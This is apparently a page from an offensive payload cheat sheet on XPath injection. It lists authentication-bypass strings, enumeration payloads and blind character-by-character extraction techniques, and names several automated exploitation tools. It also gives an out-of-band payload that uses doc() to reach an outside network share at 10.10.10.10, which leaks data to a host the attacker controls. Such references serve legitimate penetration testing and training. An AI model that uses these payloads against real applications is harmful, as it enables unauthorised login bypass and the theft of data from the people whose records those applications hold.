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1.9 KiB
1.9 KiB
XPATH injection
XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.
Summary
Exploitation
Similar to SQL : "string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
Blind Exploitation
- Size of a string
and string-length(account)=SIZE_INT - Extract a character
substring(//user[userid=5]/username,2,1)=CHAR_HERE substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
Out Of Band Exploitation
http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')
Tools
- xcat - Automate XPath injection attacks to retrieve documents
- xxxpwn - Advanced XPath Injection Tool
- xxxpwn_smart - A fork of xxxpwn using predictive text
- xpath-blind-explorer
- XmlChor - Xpath injection exploitation tool